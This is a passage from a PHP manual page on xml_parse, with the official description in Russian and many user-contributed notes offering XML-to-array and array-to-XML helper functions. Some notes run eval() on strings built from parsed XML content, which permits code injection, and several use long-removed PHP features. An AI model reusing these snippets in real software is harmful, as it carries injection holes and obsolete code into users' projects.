This got saved back as

<1> ... </1><2> ... </2>,

which expat doesn't like.  So I propose the following modification:

function writeXmlToFile($data, $f, $niv = 0) {
  foreach($data as $name => $elem) {
    if (preg_match("/\A[0-9]/",$name)) {
      $open = "ENTRY id=\"$name\""; $name = "ENTRY";
    } else {
      $open = $name;
    }
    if(is_array($elem)) {
      fwrite($f, str_repeat("  ", $niv)."<".$open.">"."\n");
      writeXmlToFile($elem, $f, $niv + 1);
      fwrite($f, str_repeat("  ", $niv)."</".$name.">"."\n");
    } else {
      fwrite($f, str_repeat("  ", $niv)."<".$open.">".$elem."</".$name.">"."\n");
    }
  }
}
stephane dot dekeyzer at noemail dot com 08-Apr-2004 11:54
for writing the array of mmustafa back to a xml file, use this code:

function writeXmlFile($fileName, $struct){
  $f = fopen($fileName, "w");
  writeXmlToFile($struct, $f);
  fclose($f);
}

function writeXmlToFile($data, $f, $niv = 0){
  foreach($data as $name => $elem){
    if(is_array($elem)){
      fwrite($f, str_repeat("  ", $niv)."<".$name.">"."\n");
      writeXmlToFile($elem, $f, $niv + 1);
      fwrite($f, str_repeat("  ", $niv)."</".$name.">"."\n");
    }
    else{
      fwrite($f, str_repeat("  ", $niv)."<".$name.">".$elem."</".$name.">"."\n");
    }
  }
}
mmustafa at vsnl dot com 06-Jan-2004 12:19
A small and simple php code to convert the raw array returned by xml_parse_into_struct into a proper data structure ..

<?php
$file = "data.xml";
$xml_parser = xml_parser_create();

if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}

$data = fread($fp, filesize($file));
fclose($fp);
xml_parse_into_struct($xml_parser, $data, $vals, $index);
xml_parser_free($xml_parser);

$params = array();
$level = array();
foreach ($vals as $xml_elem) {
  if ($xml_elem['type'] == 'open') {
    if (array_key_exists('attributes',$xml_elem)) {
      list($level[$xml_elem['level']],$extra) = array_values($xml_elem['attributes']);
    } else {
      $level[$xml_elem['level']] = $xml_elem['tag'];
    }
  }
  if ($xml_elem['type'] == 'complete') {
    $start_level = 1;
    $php_stmt = '$params';
    while($start_level < $xml_elem['level']) {
      $php_stmt .= '[$level['.$start_level.']]';
      $start_level++;
    }
    $php_stmt .= '[$xml_elem[\'tag\']] = $xml_elem[\'value\'];';
    eval($php_stmt);
  }
}

echo "<pre>";
print_r ($params);
echo "</pre>";
?>

Converts an XML document like ..

<country id="ZZ">
<name>My Land</name>
<location>15E</location>
<area>40000</area>
<state1>
<name>Hi State</name>
<area>1000</area>
<population>2000</population>
<city1>
<location>13E</location>
<population>500</population>
<area>500</area>
</city1>
<city2>
<location>13E</location>
<population>500</population>
<area>5000</area>
</city2>
</state1>
<state2>
<name>Low State</name>
<area>3000</area>
<population>20000</population>
<city1>
<location>15E</location>
<population>5000</population>
<area>1500</area>
</city1>
</state2>
</country>

To a php datastructure like ..

Array
(
    [ZZ] => Array
        (
            [NAME] => My Land
            [LOCATION] => 15E
            [AREA] => 40000
            [STATE1] => Array
                (
                    [NAME] => Hi State
                    [AREA] => 1000
                    [POPULATION] => 2000
                    [CITY1] => Array
                        (
                            [LOCATION] => 13E
                            [POPULATION] => 500
                            [AREA] => 500
                        )

                    [CITY2] => Array
                        (
                            [LOCATION] => 13E
                            [POPULATION] => 500
                            [AREA] => 5000
                        )

                )

            [STATE2] => Array
                (
                    [NAME] => Low State
                    [AREA] => 3000
                    [POPULATION] => 20000
                    [CITY1] => Array
                        (
                            [LOCATION] => 15E
                            [POPULATION] => 5000
                            [AREA] => 1500
                        )

                )

        )

)
bisqwit at iki dot fi dot not dot for dot ads dot invalid 20-Nov-2002 08:33
I made my own xml2tree()-function.
The difference to the previously suggested ones on this manual page is that this creates a tree where the tags are keys.

Example input:

<tree>
 <leaf name="gruu"> pl?? </leaf>
 <animal type="cat" />
</tree>

Example output:

Array
( 'tree' => Array
     ( 0 => Array
          ( 'children' => Array
               ( 'leaf' => Array
                    ( 0 => Array
                         ( 'attrs' => Array('name' => 'gruu'),
                           'values' => Array(0 => ' pl?? ')
                    )    ),
                 'animal' => Array
                    ( 0 => Array
                         ( 'attrs' => Array('type' => 'cat')
)    )   )    )    )   )

function xml2tree2($string)
{
  $parser = xml_parser_create();
  xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
  xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
  xml_parse_into_struct($parser, $string, $vals, $index);
  xml_parser_free($parser);

  $stack = array( array() );
  $stacktop = 0;
  $parent = array();
  foreach($vals as $val)
  {
    $type = $val['type'];
    if($type=='open' || $type=='complete')
    {
      // open tag
      $stack[$stacktop++] = $tagi;
      $tagi = array('tag' => $val['tag']);

      if(isset($val['attributes']))  $tagi['attrs'] = $val['attributes'];
      if(isset($val['value']))
        $tagi['values'][] = $val['value'];
    }
    if($type=='complete' || $type=='close')
    {
      // finish tag
      $tags[] = $oldtagi = $tagi;
      $tagi = $stack[--$stacktop];
      $oldtag = $oldtagi['tag'];
      unset($oldtagi['tag']);
      $tagi['children'][$oldtag][] = $oldtagi;
      $parent = $tagi;
    }
    if($type=='cdata')
    {
      $tagi['values'][] = $val['value'];
    }
  }
  return $parent['children'];
}

Ps: Note that the xml parsing for some reason chokes if the values contain <> (even inside ""). You need to escape them as &lt; and &gt;.
Same for & (for obvious reasons). Escape it as &amp;.
For example "&nbsp;" should be written as "&amp;nbsp;".
09-Aug-2002 01:20
This is based on a comment above by mh@mainlab.de.  This version makes more sense to me and I included a few comments that might make it more usefull for specific purposes.

// Look through $vals and $index,
// generated by parse_xml_data(),
// for $location.  $location resembles a unix path.
// E.g. "my/xml/path/to/my/data".
// Note: This is NOT a full-feature xml utility.
// Your path must be unique in the xml data
// and the tags must not contain slashes.
//
// returns: cdata from last element of $location
//          or NULL.
function get_xml_values($vals, $index, $location) {
  $location = explode('/', $location);
  $location_level = count($location);
  for ($n=0; $n<$location_level; ++$n) {
    $val_indexes=$index[$location[$n]];
    $good=0;
    for ($i=0; $i<count($val_indexes); ++$i) {
      $v = $vals[$val_indexes[$i]];
      // level is 1 based, n is 0 based:
      if ($v['level']-1 == $n) {
        if ($v['type'] == 'open') {
          // We found an open tag at the correct level.
          $good=1;
          break; // Remove break to avoid 'open' hiding
                 // 'complete' at last $n. (Speed Vs. Robustness:
                 // For now, I'm going with speed).
        }
        if ($v['type'] == 'complete') {
          // We found it, after finding all the prior elements:
          // You may want to change this to
          // return $v
          // so you can call $v['value'] and $v['attributes']
          return $v['value'];
        }
      }
    }
    if (!$good) {
      return NULL;
    }
  }
}
farinspace-at-hotmail-dot-com 20-Jul-2002 06:41
Wow, took a while to consume all of this. I am a noobie at XML, in fact i just really started working with it today. I went ahead and added to the above code by gdemartini@bol.com.br. I also added the update by nyk@cowham.net.

Added 'value' => $vals[$i]['value'] to the open case, as some nodes have both cdata as well as a children node. In previous versions of the functions the cdata of a node(a) that also had children would get stored in the children's array of the parent node(a). Now only children values are in the children array and the cdata is in the value key of the parent node(a).

Added 'value' => $vals[$i]['value'] to tree array as the vals array produced by PHP includes a value to the top most node if no children exist (for completeness).

Also, using xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE,1) will strip all white space from both around the XML tags as well as inside the cdata. I added a piece of code by waldo@wh-e.com to take care of this. All SPACE characters are now only stripped from around the XML tags and cdata spacing is retained.

CODE:
***************************************

function GetChildren($vals, &$i) {

    $children = array();

    while (++$i < sizeof($vals)) {

        // compair type
        switch ($vals[$i]['type']) {

            case 'cdata':
                $children[] = $vals[$i]['value'];
                break;
            case 'complete':
                $children[] = array(
                    'tag' => $vals[$i]['tag'],
                    'attributes' => $vals[$i]['attributes'],
                    'value' => $vals[$i]['value']
                );
                break;
            case 'open':
                $children[] = array(
                    'tag' => $vals[$i]['tag'],
                    'attributes' => $vals[$i]['attributes'],
                    'value' => $vals[$i]['value'],
                    'children' => GetChildren($vals, $i)
                );
                break;
            case 'close':
                return $children;
        }
    }
}

function GetXMLTree($file) {

    $data = implode('', file($file));

    // by: waldo@wh-e.com - trim space around tags not within
    $data = eregi_replace(">"."[[:space:]]+"."<","><",$data);

    // XML functions
    $p = xml_parser_create();

    // by: anony@mous.com - meets XML 1.0 specification
    xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
    xml_parse_into_struct($p, $data, &$vals, &$index);
    xml_parser_free($p);

    $i = 0;
    $tree = array();
    $tree[] = array(
        'tag' => $vals[$i]['tag'],
        'attributes' => $vals[$i]['attributes'],
        'value' => $vals[$i]['value'],
        'children' => GetChildren($vals, $i)
    );

    return $tree;
}

***************************************
dave at ovumdesign dot com 03-Apr-2002 03:32
Here is another variation on gdemartini@bol.com.br's nice tree algorithm. I have included nyk@cowham.net's "cdata" suggestion. I made a few changes to suppress unitialized variable warnings with error_reporting(E_ALL), and made a few stylistic changes.

There are two functional modifications as well. The first is the added option to expat to turn off "case folding", since XML is technically a case-sensitive language. The second is the returned tree - instead of returning a single-element list (an array with index 0 pointing to the top node) like the original algorithm, it returns the top node itself. This saves you an unnecessary level of indirection.

function xml_get_children($vals, &$i) {
    $children = array();
    if (isset($vals[$i]['value'])) $children[] = $vals[$i]['value'];

    while (++$i < count($vals)) {
        switch ($vals[$i]['type']) {
        case 'cdata':
            $children[] = $vals[$i]['value'];
            break;

        case 'complete':
            $children[] = array(
                'tag'        => $vals[$i]['tag'],
                'attributes' => isset($vals[$i]['attributes'])?
                                $vals[$i]['attributes'] : null,
                'value'      => $vals[$i]['value'],
            );
            break;

        case 'open':
            $children[] = array(
                'tag'        => $vals[$i]['tag'],
                'attributes' => isset($vals[$i]['attributes'])?
                                $vals[$i]['attributes'] : null,
                'children'   => xml_get_children($vals, $i),
            );
            break;

        case 'close':
            return $children;
        }
    }
}

function xml_get_tree($file) {
    $data = join('', file($file));

    $parser = xml_parser_create();
    xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
    xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE,   1);
    xml_parse_into_struct($parser, $data, $vals, $index);
    xml_parser_free($parser);

    return array(
        'tag'        => $vals[0]['tag'],
        'attributes' => isset($vals[0]['attributes'])?
                        $vals[0]['attributes'] : null,
        'children'   => xml_get_children($vals, $i = 0),
    );
}

This function takes a tree returned by xml_get_tree() and simplifies it similarly to voncken@mailandnews.com and oknapp@soly.de's suggestions. It finds any nodes that expat considered "complete" (childless) and contain no attributes, and it moves the tag name (as the key) and value into an element in the parent node's "values" array.

For example:
$tree = xml_get_tree('moldb.xml');
$tree = xml_condense_tree($tree);
echo $tree['children'][1]['values']['name'];

Outputs:
Lysine

function xml_condense_tree($tree) {
    foreach ($tree['children'] as $index => $node) {
        if (isset($node['children'])) {
            $tree['children'][$index] = xml_condense_tree($node);

        } elseif (isset($node['value']) and !$node['attributes']) {
            $tree['values'][$node['tag']] = $node['value'];
            unset($tree['children'][$index]);
        }
    }

    if (!$tree['children']) unset($tree['children']);
    return $tree;
}

Enjoy,
Dave


Запускает разбор XML-документа

  • « xml_parse_into_struct
  • xml_parser_create_ns »
  • PHP Manual
  • Функции парсера XML
  • Запускает разбор XML-документа

xml_parse

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_parse — Запускает разбор XML-документа

Описание

xml_parse(XMLParser $parser, string $data, bool $is_final = false): int

xml_parse() разбирает XML-документ. Обработчики запрограммированных событий вызываются столько раз, сколько необходимо.

Список параметров

parser

Ссылка на используемый XML-анализатор.

data

Часть данных для разбора. Документ можно разбирать по частям, вызывая функцию xml_parse() несколько раз с новыми данными, пока аргумент is_final не будет установлен в true, это сообщит анализатору, что разбирается последняя часть документа.

is_final

Если задан и установлен в true, data считается последней частью в этом разборе.

Возвращаемые значения

Возвращает 1 при успешном завершении, 0 в противном случае.

В случае неудачного разбора информацию об ошибках можно получить с помощью
функций xml_get_error_code(),
xml_error_string(),
xml_get_current_line_number(),
xml_get_current_column_number() и
xml_get_current_byte_index().

Замечание:

Некоторые ошибки (такие как ошибки при разборе сущностей) выдаются в конце разбора и получить их можно только когда is_final установлен в true.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

Примеры

Пример #1 Разбор по частям больших XML-документов

Этот пример показывает, как большие XML-документы могут быть прочитаны и разобраны по частям, поэтому нет необходимости держать весь документ в памяти. Обработка ошибок опущена для краткости.

<?php
$stream = fopen('large.xml', 'r');
$parser = xml_parser_create();
// установить обработчики
while (($data = fread($stream, 16384))) {
xml_parse($parser, $data); // разобрать текущую часть
}
xml_parse($parser, '', true); // завершить разбор
xml_parser_free($parser);
fclose($stream);

User Contributed Notes

Programmerdude 06-Aug-2014 07:26
Due to restrictions in libxml2 the maximum length of $data is 9.5MB. If you need to process more than 9.5MB you can do so by calling the function multiple times and setting $is_final on the last call.
alejandro dot anv at gmail dot com 13-Mar-2014 01:00
Here is my array2xml function. I made it because I coudn't find a generic recursive function that generates a prety formatted XML from any array.

Usage:

<?php echo xml2array('rootname',$myarray); ?>

or if you want to specify a spacing character(s) other than TAB:

<?php echo xml2array('rootname',$myarray,'   '); ?>

or if you want avoid spacing at all

<?php echo xml2array('rootname',$myarray,''); ?>

<?php
function array2xml($nombre,$valor,$tab="\t",$nivel=0){

if ($nivel==0) $r='<?xml version="1.0" encoding="ISO-8859-1"?>';

$arr=!is_numeric($nombre);
$spacing=str_repeat($tab,$nivel);
if ($tab!='') $newline="\n";
else $newline='';

if (is_array($valor)){

   if (count($valor)>0){
      $r.=$newline;
      //$r.=str_repeat($tab,$nivel);
      foreach($valor as $k=>$v){
         if ($arr) $r.="$spacing<$nombre>";

         if (is_array($v))  $r.=array2xml($k,$v,$tab,$nivel+$arr);
         else $r.="$spacing<$k>$v</$k>$newline";

         if ($arr) $r.="$spacing</$nombre>$newline";
         }//foreach
      }//count
   else $r.="$spacing<$nombre></$nombre>"; // it's an empty array
   }
else {
     if ($arr) $r.="$spacing<$nombre>";
     $r.=$valor;
     if ($arr) $r.="</$nombre>$newline";
     }

return $r;
}
?>
Ashok dot 893 at gmail dot com 25-Apr-2010 10:52
This is very simple way to convert all applicable objects into associative array.  This works with not only SimpleXML but any kind of object. The input can be either array or object. This function also takes an options parameter as array of indices to be excluded in the return array. And keep in mind, this returns only the array of non-static and accessible variables of the object since using the function get_object_vars().

<?php
function objectsIntoArray($arrObjData, $arrSkipIndices = array())
{
    $arrData = array();

    // if input is object, convert into array
    if (is_object($arrObjData)) {
        $arrObjData = get_object_vars($arrObjData);
    }

    if (is_array($arrObjData)) {
        foreach ($arrObjData as $index => $value) {
            if (is_object($value) || is_array($value)) {
                $value = objectsIntoArray($value, $arrSkipIndices); // recursive call
            }
            if (in_array($index, $arrSkipIndices)) {
                continue;
            }
            $arrData[$index] = $value;
        }
    }
    return $arrData;
}
?>

Usage:

<?php
$xmlUrl = "feed.xml"; // XML feed file/URL
$xmlStr = file_get_contents($xmlUrl);
$xmlObj = simplexml_load_string($xmlStr);
$arrXml = objectsIntoArray($xmlObj);
print_r($arrXml);
?>
lz_speedy at web dot de 30-Dec-2008 10:20
Best seen xml2array function ever
<?php
function xml2array($url, $get_attributes = 1, $priority = 'tag')
{
    $contents = "";
    if (!function_exists('xml_parser_create'))
    {
        return array ();
    }
    $parser = xml_parser_create('');
    if (!($fp = @ fopen($url, 'rb')))
    {
        return array ();
    }
    while (!feof($fp))
    {
        $contents .= fread($fp, 8192);
    }
    fclose($fp);
    xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, "UTF-8");
    xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
    xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
    xml_parse_into_struct($parser, trim($contents), $xml_values);
    xml_parser_free($parser);
    if (!$xml_values)
        return; //Hmm...
    $xml_array = array ();
    $parents = array ();
    $opened_tags = array ();
    $arr = array ();
    $current = & $xml_array;
    $repeated_tag_index = array ();
    foreach ($xml_values as $data)
    {
        unset ($attributes, $value);
        extract($data);
        $result = array ();
        $attributes_data = array ();
        if (isset ($value))
        {
            if ($priority == 'tag')
                $result = $value;
            else
                $result['value'] = $value;
        }
        if (isset ($attributes) and $get_attributes)
        {
            foreach ($attributes as $attr => $val)
            {
                if ($priority == 'tag')
                    $attributes_data[$attr] = $val;
                else
                    $result['attr'][$attr] = $val; //Set all the attributes in a array called 'attr'
            }
        }
        if ($type == "open")
        {
            $parent[$level -1] = & $current;
            if (!is_array($current) or (!in_array($tag, array_keys($current))))
            {
                $current[$tag] = $result;
                if ($attributes_data)
                    $current[$tag . '_attr'] = $attributes_data;
                $repeated_tag_index[$tag . '_' . $level] = 1;
                $current = & $current[$tag];
            }
            else
            {
                if (isset ($current[$tag][0]))
                {
                    $current[$tag][$repeated_tag_index[$tag . '_' . $level]] = $result;
                    $repeated_tag_index[$tag . '_' . $level]++;
                }
                else
                {
                    $current[$tag] = array (
                        $current[$tag],
                        $result
                    );
                    $repeated_tag_index[$tag . '_' . $level] = 2;
                    if (isset ($current[$tag . '_attr']))
                    {
                        $current[$tag]['0_attr'] = $current[$tag . '_attr'];
                        unset ($current[$tag . '_attr']);
                    }
                }
                $last_item_index = $repeated_tag_index[$tag . '_' . $level] - 1;
                $current = & $current[$tag][$last_item_index];
            }
        }
        elseif ($type == "complete")
        {
            if (!isset ($current[$tag]))
            {
                $current[$tag] = $result;
                $repeated_tag_index[$tag . '_' . $level] = 1;
                if ($priority == 'tag' and $attributes_data)
                    $current[$tag . '_attr'] = $attributes_data;
            }
            else
            {
                if (isset ($current[$tag][0]) and is_array($current[$tag]))
                {
                    $current[$tag][$repeated_tag_index[$tag . '_' . $level]] = $result;
                    if ($priority == 'tag' and $get_attributes and $attributes_data)
                    {
                        $current[$tag][$repeated_tag_index[$tag . '_' . $level] . '_attr'] = $attributes_data;
                    }
                    $repeated_tag_index[$tag . '_' . $level]++;
                }
                else
                {
                    $current[$tag] = array (
                        $current[$tag],
                        $result
                    );
                    $repeated_tag_index[$tag . '_' . $level] = 1;
                    if ($priority == 'tag' and $get_attributes)
                    {
                        if (isset ($current[$tag . '_attr']))
                        {
                            $current[$tag]['0_attr'] = $current[$tag . '_attr'];
                            unset ($current[$tag . '_attr']);
                        }
                        if ($attributes_data)
                        {
                            $current[$tag][$repeated_tag_index[$tag . '_' . $level] . '_attr'] = $attributes_data;
                        }
                    }
                    $repeated_tag_index[$tag . '_' . $level]++; //0 and 1 index is already taken
                }
            }
        }
        elseif ($type == 'close')
        {
            $current = & $parent[$level -1];
        }
    }
    return ($xml_array);
}
?>

Returns a well formed array like the structure of the xml-document

<root>
 <child1>
  <child1child1/>
 </child1>
</root>

create an array like
array[root][child1][child1child1]

lg
neoyahuu at yahoo dot com 12-Dec-2007 08:18
Instead of passing a URL, we can pass the XML content to this class (either you
 want to use CURL, Socks or fopen to retrieve it first) and instead of using
 array, I'm using separator '|' to identify which data to get (in order to make
 it short to retrieve a complex XML data). Here is my class with built-in fopen
 which you can pass URL or you can pass the content instead :

p/s : thanks to this great help page.

<?php

class xx_xml {

    // XML parser variables
    var $parser;
    var $name;
    var $attr;
    var $data  = array();
    var $stack = array();
    var $keys;
    var $path;

    // either you pass url atau contents.
    // Use 'url' or 'contents' for the parameter
    var $type;

    // function with the default parameter value
    function xx_xml($url='http://www.example.com', $type='url') {
        $this->type = $type;
        $this->url  = $url;
        $this->parse();
    }

    // parse XML data
    function parse()
    {
        $data = '';
        $this->parser = xml_parser_create();
        xml_set_object($this->parser, $this);
        xml_set_element_handler($this->parser, 'startXML', 'endXML');
        xml_set_character_data_handler($this->parser, 'charXML');

        xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);

        if ($this->type == 'url') {
            // if use type = 'url' now we open the XML with fopen

            if (!($fp = @fopen($this->url, 'rb'))) {
                $this->error("Cannot open {$this->url}");
            }

            while (($data = fread($fp, 8192))) {
                if (!xml_parse($this->parser, $data, feof($fp))) {
                    $this->error(sprintf('XML error at line %d column %d',
                    xml_get_current_line_number($this->parser),
                    xml_get_current_column_number($this->parser)));
                }
            }
        } else if ($this->type == 'contents') {
            // Now we can pass the contents, maybe if you want
            // to use CURL, SOCK or other method.
            $lines = explode("\n",$this->url);
            foreach ($lines as $val) {
                if (trim($val) == '')
                    continue;
                $data = $val . "\n";
                if (!xml_parse($this->parser, $data)) {
                    $this->error(sprintf('XML error at line %d column %d',
                    xml_get_current_line_number($this->parser),
                    xml_get_current_column_number($this->parser)));
                }
            }
        }
    }

    function startXML($parser, $name, $attr)    {
        $this->stack[$name] = array();
        $keys = '';
        $total = count($this->stack)-1;
        $i=0;
        foreach ($this->stack as $key => $val)    {
            if (count($this->stack) > 1) {
                if ($total == $i)
                    $keys .= $key;
                else
                    $keys .= $key . '|'; // The saparator
            }
            else
                $keys .= $key;
            $i++;
        }
        if (array_key_exists($keys, $this->data))    {
            $this->data[$keys][] = $attr;
        }    else
            $this->data[$keys] = $attr;
        $this->keys = $keys;
    }

    function endXML($parser, $name)    {
        end($this->stack);
        if (key($this->stack) == $name)
            array_pop($this->stack);
    }

    function charXML($parser, $data)    {
        if (trim($data) != '')
            $this->data[$this->keys]['data'][] = trim(str_replace("\n", '', $data));
    }

    function error($msg)    {
        echo "<div align=\"center\">
            <font color=\"red\"><b>Error: $msg</b></font>
            </div>";
        exit();
    }
}

?>

And example of retrieving XML data:
p/s: example use to retrieve weather

<?php
include_once "xx_xml.class.php";

// Im using simple curl (the original is in class) to get the contents

$pageurl = "http://xml.weather.yahoo.com/forecastrss?p=MYXX0008&u=c";
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_URL, $pageurl );
$thecontents = curl_exec ( $ch );
curl_close($ch);

// We want to pass only a ready XML content instead of URL
// But if you want to use URL , skip the curl functions above and use this
// $xx4 = new xx_xml("url here",'url');

$xx4 = new xx_xml($thecontents,'contents');
// As you can see, we use saparator '|' instead of long array
$Code = $xx4->data ['rss|channel|item|yweather:condition']['code'] ;
$Celcius = $xx4->data ['rss|channel|item|yweather:condition']['temp'] ;
$Text = $xx4->data ['rss|channel|item|yweather:condition']['text'] ;
$Cityname = $xx4->data ['rss|channel|yweather:location']['city'] ;

?>

Hope this helps.
joris dot landman at chello dot nl 28-Jul-2007 07:42
This page has been a great help! I've adapted the examples below to make a class to parse an X(HT)ML file to a multidimensional array.

Spaces, tabs, breaks, etc. are included in the array as TEXT_NODE, since in XHTML they may be functional. A function to trim them can easily be added if so desired.

I've written my class to store multiple tags with the same name. In order to do this I've used nested arrays with the key NODES to store the order in which tags and data were parsed. These NODES arrays can be used as a blueprint to reconstruct the X(HT)ML part of the document in it's entirity, including formatting. (Doctype will have to be added for validity).

<?php

class my_xml_object {

    var $xml_data; # raw xml data from file
    function parse_xml_file($my_uri) {
        $this->xml_data = null; # clear previously parsed file and related variables
        if (is_file($my_uri) && is_readable($my_uri)) { # existing and readable uri?
            $my_file = fopen($my_uri, "r");
            while($my_xml_input = fread($my_file, filesize($my_uri))) {
                $this->xml_data .= $my_xml_input; # add data to xml_data
            }
            fclose($my_file);
            $this->parse_xml_data($this->xml_data); # parse data
        } else {
            trigger_error("supplied argument is not a URI to a (readable) file", E_USER_ERROR);
        }
    }

    var $xml_array = Array(); # xml array from parsed data
    function parse_xml_data($my_data) { # adapted from class by randlem@gmail.com, tgrabietz@bupnet.de, bbellwfu@gmail.com, Kyle Bresin - see http://nl2.php.net/xml_parse
        $this->xml_array = Array(0 => Array()); # clear previously parsed file and related variables; populate first element
        $my_parser = xml_parser_create(); # set up parser
        xml_set_object($my_parser, $this); # enable parser within object
        xml_set_element_handler($my_parser, "xml_tag_open", "xml_tag_close");
        xml_set_character_data_handler($my_parser, "xml_tag_data");
        if (!xml_parse($my_parser, $my_data)) {
            trigger_error("data can not be parsed", E_USER_ERROR); # inspect problems #die(sprintf("<br />\n<b>Error</b>:  %s on line <b>%d</b><br />\n", xml_error_string(xml_get_error_code($my_parser)), xml_get_current_line_number($my_parser)));
        }
        xml_parser_free($my_parser); # free parser
        return $this->xml_array; # return xml array
    }

    var $my_branch = Array();
    function xml_tag_open($my_parser, $my_name, $my_attributes) {
        array_push($this->my_branch, $my_name); # add tag name to branch
        $this->xml_array[] = Array(); # nest array in xml array for data
        if (count($my_attributes)) {
            $this->xml_array[count($this->xml_array) - 1]["ATTRIBUTES"] = $my_attributes; # nest attributes array
        }
    }

    function xml_tag_data($my_parser, $my_data) {
        $this->xml_array[count($this->my_branch)]["TEXT_NODE"][] = $my_data; # add data to nested array
        $this->xml_array[count($this->my_branch)]["NODES"][] = "TEXT_NODE"; # add text node to nested NODES array
    }

    function xml_tag_close($my_parser, $my_name) {
        $this->xml_array[count($this->my_branch) - 1][$this->my_branch[count($this->my_branch) - 1]][] = $this->xml_array[count($this->xml_array) - 1]; # nest arrays to follow document structure
        array_pop($this->xml_array); # pop off element that was nested
        $this->xml_array[count($this->my_branch) - 1]["NODES"][] = $my_name; # add tag node to nested NODES array
        array_pop($this->my_branch); # update branch
    }

?>
dgrimes at scvl dot com 29-Jun-2007 06:14
One note about magic quotes: magic_quotes_runtime needs to be disabled before parsing XML. It can cause strange errors during parsing. Just add the following at the top of your program:

set_magic_quotes_runtime(0);

If you need magic quotes you can use stripslashes or save the current magic quotes setting with get_magic_quotes_runtime() then disable and parse your XML and then restore the previous magic quotes setting.
php at b635 dot com 23-Jun-2007 10:17
The suggestions below have been a great help, but there was one thing I really needed...

I'm parsing Amazon XML data, and I wanted to be able to index into the array using something like:

<?php
  print "<p>" . $strAXML->arrOutput[ITEMLOOKUPRESPONSE][ITEMS][ITEM][SMALLIMAGE][URL];
?>

To solve this, I had to push all of the open tags onto a separate stack, add any tag data to the tail end of an attributed multi-dimensional array, and then pop the tag name off of the stack once it was closed...

<?php

class xml2array {

  var $arrOutput = array();
  var $arrName = array();
  var $objParser;
  var $strXmlData;

  function parse($strInputXML) {

    // standard XML parse object setup

    $this->objParser = xml_parser_create ();
    xml_set_object($this->objParser,$this);
    xml_set_element_handler($this->objParser, "tagOpen", "tagClosed");

    xml_set_character_data_handler($this->objParser, "tagData");

    $this->strXmlData = xml_parse($this->objParser,$strInputXML );
    if(!$this->strXmlData) {
      die(sprintf("XML error: %s at line %d",
        xml_error_string(xml_get_error_code($this->objParser)),
        xml_get_current_line_number($this->objParser)));
    }

    xml_parser_free($this->objParser);

    return $this->arrOutput;
  }

  function tagOpen($parser, $name, $attrs) {
    // push the current tag name to an array of still-open tag names
    array_push ($this->arrName, $name);

    // merge the array of current attributes to the open tag
    // NOTE: this does not currently handle multiple attributes with the same name
    // (i.e. it will overwrite them with the last values)

    $strEval = "\$this->arrOutput";
    foreach ($this->arrName as $value) {
      $strEval .= "[" . $value . "]";
    }
    $strEval = $strEval . " = array_merge (" . $strEval . ",\$attrs);";

    eval ($strEval);
  }

  function tagData($parser, $tagData) {

    // set the latest open tag equal to the tag data

    $strEval = "\$this->arrOutput";
    foreach ($this->arrName as $value) {
      $strEval .= "[" . $value . "]";
    }

    $strEval = $strEval . " = \$tagData;";

    eval ($strEval);
  }

  function tagClosed($parser, $name) {

    // pop this tag (and any subsequent tags) off the stack of open tag names

    for ($i = count ($this->arrName) - 1; $i > 0; $i--) {
      $currName = $this->arrName[$i];
      array_pop ($this->arrName);
      if ($currName == $name) {
        break;
      }
    }
  }

}

?>
james @at@ mercstudio dot Com dot nospam 02-Apr-2006 12:10
hi,

i've modified bbellwfu at gmail dot com to as below:

features added:
  - toXML (convert back array to xml string)
  - changed name, according to macromedia flash xml concept : children -> childrens, tagdata -> nodevalue, name -> nodename,
  - added pointer firstchild to childrens[0] (if exists)

some findings that i would like to share:
 - <![cdata[my value here]]> (does not work on property value
 - xml file must be htmlentity based (if not using cdata)
 - xml line feed on node data seems to be double line feed on windows (still figuring why)
 - xml line feed on attribute value seems to be ignored...

here's my code below :)

class u007xml
{
   var $arrOutput = array();
   var $resParser;
   var $strXmlData;

    function u007xml($tfile = "")
    {
        if(trim($tfile) != "") { $this->loadFile($tfile);}
    }

    function loadFile($tfile)
    {
        $this->thefile = $tfile;

        $th = file($tfile);
        $tdata = implode("\n", $th);

        return $this->parse($tdata);
    }

   function parse($strInputXML)
   {
        $this->resParser = xml_parser_create ();
        xml_set_object($this->resParser,$this);
        xml_set_element_handler($this->resParser, "tagOpen", "tagClosed");

        xml_set_character_data_handler($this->resParser, "tagData");

        $this->strXmlData = xml_parse($this->resParser,$strInputXML );

        if(!$this->strXmlData) {
           die(sprintf("XML error: %s at line %d",
        xml_error_string(xml_get_error_code($this->resParser)),
        xml_get_current_line_number($this->resParser)));
        }

        xml_parser_free($this->resParser);

        return $this->arrOutput;
   }

   //called on each xml tree
   function tagOpen($parser, $name, $attrs) {
       $tag=array("nodename"=>$name,"attributes"=>$attrs);
       array_push($this->arrOutput,$tag);
   }

  //called on data for xml
   function tagData($parser, $tagData) {
       if(trim($tagData)) {
           if(isset($this->arrOutput[count($this->arrOutput)-1]['nodevalue'])) {
               $this->arrOutput[count($this->arrOutput)-1]['nodevalue'] .= $this->parseXMLValue($tagData);
           }
           else {
               $this->arrOutput[count($this->arrOutput)-1]['nodevalue'] = $this->parseXMLValue($tagData);
           }
       }
   }

  //called when finished parsing
   function tagClosed($parser, $name) {
       $this->arrOutput[count($this->arrOutput)-2]['childrens'][] = $this->arrOutput[count($this->arrOutput)-1];

       if(count ($this->arrOutput[count($this->arrOutput)-2]['childrens'] ) == 1)
       {
            $this->arrOutput[count($this->arrOutput)-2]['firstchild'] =& $this->arrOutput[count($this->arrOutput)-2]['childrens'][0];
       }
       array_pop($this->arrOutput);
   }

    function toArray()
    {
        //not used, we can call loadString or loadFile instead...
    }

    function parseXMLValue($tvalue)
    {
        $tvalue = htmlentities($tvalue);
        return $tvalue;
    }

    function toXML($tob = null)
